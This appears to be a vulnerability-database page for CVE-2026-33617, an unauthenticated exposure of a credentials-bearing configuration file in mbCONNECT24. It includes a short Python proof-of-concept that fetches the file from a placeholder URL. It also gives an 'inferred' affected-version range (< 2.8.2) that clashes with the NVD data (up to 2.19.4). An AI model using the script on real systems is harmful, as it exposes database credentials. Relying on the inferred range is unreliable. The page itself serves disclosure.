Security Vulnerability Report
中文
CVE-2026-33617 CVSS 5.3 MEDIUM

CVE-2026-33617

Published: 2026-04-02 10:16:17
Last Modified: 2026-04-16 15:40:57

Description

An unauthenticated remote attacker can access a configuration file containing database credentials. This can result in a some loss of confidentiality, but there is no endpoint exposed to use these credentials.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mbconnectline:mbconnect24:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mbconnectline:mymbconnect24:*:*:*:*:*:*:*:* - VULNERABLE
MB connect line mbCONNECT24 < 2.8.2 (基于VDE-2026-030推断的受影响版本范围)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Proof of Concept for CVE-2026-33617 # This script attempts to retrieve the exposed configuration file. # Replace with the actual target URL and vulnerable endpoint path target_url = "http://target-ip/path/to/vulnerable/config" headers = { "User-Agent": "CVE-2026-33617-Scanner/1.0" } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully retrieved the configuration file.") print("[+] Response Content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33617", "sourceIdentifier": "[email protected]", "published": "2026-04-02T10:16:17.260", "lastModified": "2026-04-16T15:40:56.680", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated remote attacker can access a configuration file containing database credentials. This can result in a some loss of confidentiality, but there is no endpoint exposed to use these credentials."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-497"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mbconnectline:mbconnect24:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.19.4", "matchCriteriaId": "FF88F461-51FB-482C-A406-07F72FC10D79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mbconnectline:mymbconnect24:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.19.4", "matchCriteriaId": "36E8693F-94C4-46A4-BD83-D87B71B89F12"}]}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2026-030", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://mbconnectline.csaf-tp.certvde.com/.well-known/csaf/white/2026/vde-2026-030.json", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}